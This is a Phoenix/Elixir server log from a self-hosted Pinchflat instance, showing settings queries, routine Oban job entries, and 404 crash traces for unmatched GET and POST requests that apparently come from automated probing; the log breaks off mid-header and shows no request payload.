source="settings" db=0.2ms idle=445.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:31:53.832 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 01:31:53.832 [error] #PID<0.3909.0> running PinchflatWeb.Endpoint (connection #PID<0.3908.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /js/twint_ch.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /js/twint_ch (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3908.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/js/twint_ch.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 47626}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "178.22.106.230", "x-forwarded-proto" => "https", "x-real-ip" => "178.22.106.230" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3909.0>, params: %{}, path_info: ["js", "twint_ch"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate"}, {"accept-language", "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36"}, {"x-forwarded-for", "178.22.106.230"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "178.22.106.230"} ], request_path: "/js/twint_ch.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDqV0tJ7F-uyRoAAFOC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3908.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/js/twint_ch.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 47626}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "178.22.106.230", "x-forwarded-proto" => "https", "x-real-ip" => "178.22.106.230" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /js/twint_ch (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3908.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/js/twint_ch.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 47626}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "178.22.106.230", "x-forwarded-proto" => "https", "x-real-ip" => "178.22.106.230" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3909.0>, params: %{}, path_info: ["js", "twint_ch"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :p (truncated) 01:31:59.552 [info] {"source":"oban","duration":988,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:32:00.167 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:32:29.553 [info] {"source":"oban","duration":913,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:32:59.556 [info] {"source":"oban","duration":954,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:33:00.168 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:33:29.558 [info] {"source":"oban","duration":962,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:33:59.560 [info] {"source":"oban","duration":1389,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:34:00.169 [info] {"source":"oban","duration":344,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:34:29.562 [info] {"source":"oban","duration":1030,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:34:59.564 [info] {"source":"oban","duration":1012,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:35:00.170 [info] {"source":"oban","duration":543,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:35:29.566 [info] {"source":"oban","duration":1059,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:35:59.568 [info] {"source":"oban","duration":1504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:36:00.171 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:36:29.570 [info] {"source":"oban","duration":998,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:36:59.572 [info] {"source":"oban","duration":1069,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:37:00.172 [info] {"source":"oban","duration":351,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:37:29.574 [info] {"source":"oban","duration":1152,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:37:59.576 [info] {"source":"oban","duration":1443,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:38:00.173 [info] {"source":"oban","duration":310,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:38:29.578 [info] {"source":"oban","duration":1139,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:38:59.580 [info] {"source":"oban","duration":1148,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:39:00.174 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:39:29.582 [info] {"source":"oban","duration":987,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:39:59.584 [info] {"source":"oban","duration":1057,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:40:00.175 [info] {"source":"oban","duration":356,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:40:29.586 [info] {"source":"oban","duration":1031,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:40:59.588 [info] {"source":"oban","duration":1034,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:41:00.176 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:41:29.589 [info] {"source":"oban","duration":781,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:41:59.592 [info] {"source":"oban","duration":977,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:42:00.177 [info] {"source":"oban","duration":417,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:42:29.595 [info] {"source":"oban","duration":2015,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:42:59.597 [info] {"source":"oban","duration":1047,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:43:00.178 [info] {"source":"oban","duration":557,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:43:29.599 [info] {"source":"oban","duration":1062,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:43:59.601 [info] {"source":"oban","duration":1534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:44:00.179 [info] {"source":"oban","duration":547,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:44:29.602 [info] {"source":"oban","duration":342,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:44:59.604 [info] {"source":"oban","duration":1004,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:45:00.180 [info] {"source":"oban","duration":427,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:45:29.606 [info] {"source":"oban","duration":956,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:45:59.608 [info] {"source":"oban","duration":1569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:46:00.181 [info] {"source":"oban","duration":273,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:46:29.610 [info] {"source":"oban","duration":1056,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:46:59.612 [info] {"source":"oban","duration":1373,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:47:00.182 [info] {"source":"oban","duration":159,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:47:29.614 [info] {"source":"oban","duration":905,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:47:59.616 [info] {"source":"oban","duration":1374,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:48:00.183 [info] {"source":"oban","duration":330,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:48:29.618 [info] {"source":"oban","duration":1005,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:48:59.620 [info] {"source":"oban","duration":926,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:49:00.184 [info] {"source":"oban","duration":346,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:49:29.622 [info] {"source":"oban","duration":924,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:49:59.624 [info] {"source":"oban","duration":929,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:50:00.185 [info] {"source":"oban","duration":315,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:50:29.625 [info] {"source":"oban","duration":936,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:50:59.628 [info] {"source":"oban","duration":1339,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:51:00.186 [info] {"source":"oban","duration":497,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:51:29.630 [info] {"source":"oban","duration":1453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:51:59.632 [info] {"source":"oban","duration":1084,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:52:00.187 [info] {"source":"oban","duration":104,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:52:29.634 [info] {"source":"oban","duration":1205,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:52:59.636 [info] {"source":"oban","duration":1060,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:53:00.188 [info] {"source":"oban","duration":331,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:53:29.638 [info] {"source":"oban","duration":1018,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:53:59.640 [info] {"source":"oban","duration":1072,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:54:00.189 [info] {"source":"oban","duration":350,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:54:29.642 [info] {"source":"oban","duration":1062,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:54:59.644 [info] {"source":"oban","duration":1015,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:55:00.190 [info] {"source":"oban","duration":309,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:55:29.645 [info] {"source":"oban","duration":959,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:55:59.648 [info] {"source":"oban","duration":1070,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:56:00.191 [info] {"source":"oban","duration":344,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:56:29.650 [info] {"source":"oban","duration":965,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:56:59.652 [info] {"source":"oban","duration":1416,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:57:00.192 [info] {"source":"oban","duration":496,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:57:29.654 [info] {"source":"oban","duration":1201,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:57:59.656 [info] {"source":"oban","duration":1028,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:58:00.193 [info] {"source":"oban","duration":438,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:58:29.658 [info] {"source":"oban","duration":958,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:58:59.660 [info] {"source":"oban","duration":1496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:59:00.194 [info] {"source":"oban","duration":305,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:59:29.662 [info] {"source":"oban","duration":887,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:59:59.664 [info] {"source":"oban","duration":995,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:00:00.195 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:00:29.665 [info] {"source":"oban","duration":444,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:00:59.666 [info] {"source":"oban","duration":453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:01:00.196 [info] {"source":"oban","duration":217,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:01:29.667 [info] {"source":"oban","duration":463,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:01:59.668 [info] {"source":"oban","duration":456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:02:00.197 [info] {"source":"oban","duration":166,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:02:29.669 [info] {"source":"oban","duration":556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:02:59.670 [info] {"source":"oban","duration":319,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:03:00.198 [info] {"source":"oban","duration":155,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:03:29.671 [info] {"source":"oban","duration":341,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:03:59.672 [info] {"source":"oban","duration":315,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:04:00.199 [info] {"source":"oban","duration":104,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:04:29.673 [info] {"source":"oban","duration":364,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:04:59.674 [info] {"source":"oban","duration":366,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:05:00.200 [info] {"source":"oban","duration":141,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:05:29.675 [info] {"source":"oban","duration":308,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:05:59.676 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:06:00.201 [info] {"source":"oban","duration":101,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:06:29.677 [info] {"source":"oban","duration":361,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:06:59.678 [info] {"source":"oban","duration":361,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:07:00.202 [info] {"source":"oban","duration":136,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:07:29.679 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:07:59.680 [info] {"source":"oban","duration":322,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:08:00.203 [info] {"source":"oban","duration":149,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:08:29.681 [info] {"source":"oban","duration":357,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:08:59.682 [info] {"source":"oban","duration":329,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:09:00.204 [info] {"source":"oban","duration":135,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:09:29.683 [info] {"source":"oban","duration":339,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:09:59.684 [info] {"source":"oban","duration":323,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:10:00.205 [info] {"source":"oban","duration":143,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:10:29.685 [info] {"source":"oban","duration":226,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:10:59.686 [info] {"source":"oban","duration":259,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:11:00.206 [info] {"source":"oban","duration":148,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:11:29.687 [info] {"source":"oban","duration":243,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:11:59.688 [info] {"source":"oban","duration":296,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:12:00.207 [info] {"source":"oban","duration":132,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:12:29.689 [info] {"source":"oban","duration":225,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:12:59.690 [info] {"source":"oban","duration":457,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:13:00.208 [info] {"source":"oban","duration":195,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:13:29.691 [info] {"source":"oban","duration":252,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:13:59.692 [info] {"source":"oban","duration":240,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:14:00.209 [info] {"source":"oban","duration":137,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:14:29.693 [info] {"source":"oban","duration":239,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:14:59.694 [info] {"source":"oban","duration":426,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:15:00.210 [info] {"source":"oban","duration":109,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:15:29.695 [info] {"source":"oban","duration":135,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:15:59.696 [info] {"source":"oban","duration":229,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:16:00.211 [info] {"source":"oban","duration":184,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:16:29.697 [info] {"source":"oban","duration":361,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:16:59.698 [info] {"source":"oban","duration":500,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:17:00.212 [info] {"source":"oban","duration":142,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:17:29.699 [info] {"source":"oban","duration":294,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:17:59.700 [info] {"source":"oban","duration":364,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:18:00.213 [info] {"source":"oban","duration":56,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:18:29.701 [info] {"source":"oban","duration":320,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:18:59.702 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:19:00.214 [info] {"source":"oban","duration":124,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:19:29.703 [info] {"source":"oban","duration":297,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:19:59.704 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:20:00.215 [info] {"source":"oban","duration":135,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:20:29.705 [info] {"source":"oban","duration":329,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:20:59.706 [info] {"source":"oban","duration":534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:21:00.216 [info] {"source":"oban","duration":103,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:21:29.707 [info] {"source":"oban","duration":351,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:21:59.708 [info] {"source":"oban","duration":538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:22:00.216 [info] {"source":"oban","duration":65,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:22:29.709 [info] {"source":"oban","duration":291,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:22:59.710 [info] {"source":"oban","duration":538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:23:00.218 [info] {"source":"oban","duration":120,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:23:29.711 [info] {"source":"oban","duration":321,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:23:59.712 [info] {"source":"oban","duration":351,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:24:00.219 [info] {"source":"oban","duration":88,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:24:29.713 [info] {"source":"oban","duration":347,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:24:59.714 [info] {"source":"oban","duration":604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:25:00.220 [info] {"source":"oban","duration":225,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:25:07.456 [info] POST / 02:25:07.456 [debug] Could not render errors due to no supported media type in accept header. Expected one of ["html", "json"] but got the following formats: * "text/x-component" with extensions: [] To accept custom formats, register them under the :mime library in your config/config.exs file: config :mime, :types, %{ "application/xml" => ["xml"] } And then run `mix deps.clean --build mime` to force it to be recompiled. . Errors will be rendered using the first accepted format "html" as fallback. Please customize the :formats option under the :render_errors configuration in your endpoint if you want to support other formats or choose another fallback 02:25:07.456 [debug] QUERY OK source="settings" db=0.0ms idle=1928.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:25:07.456 [debug] QUERY OK source="settings" db=0.0ms idle=1928.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:25:07.456 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:25:07.456 [error] #PID<0.4150.0> running PinchflatWeb.Endpoint (connection #PID<0.4149.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: POST / ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4149.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49860}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/x-component", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "connection" => "close", "content-length" => "647", "content-type" => "multipart/form-data; boundary=fc8652272426dcfe29b9fc6b83ad967d66db6c47bdfe3fea3d9988efb0f3", "host" => "pinchflat.internal.ubrown.me", "next-action" => "x", "origin" => 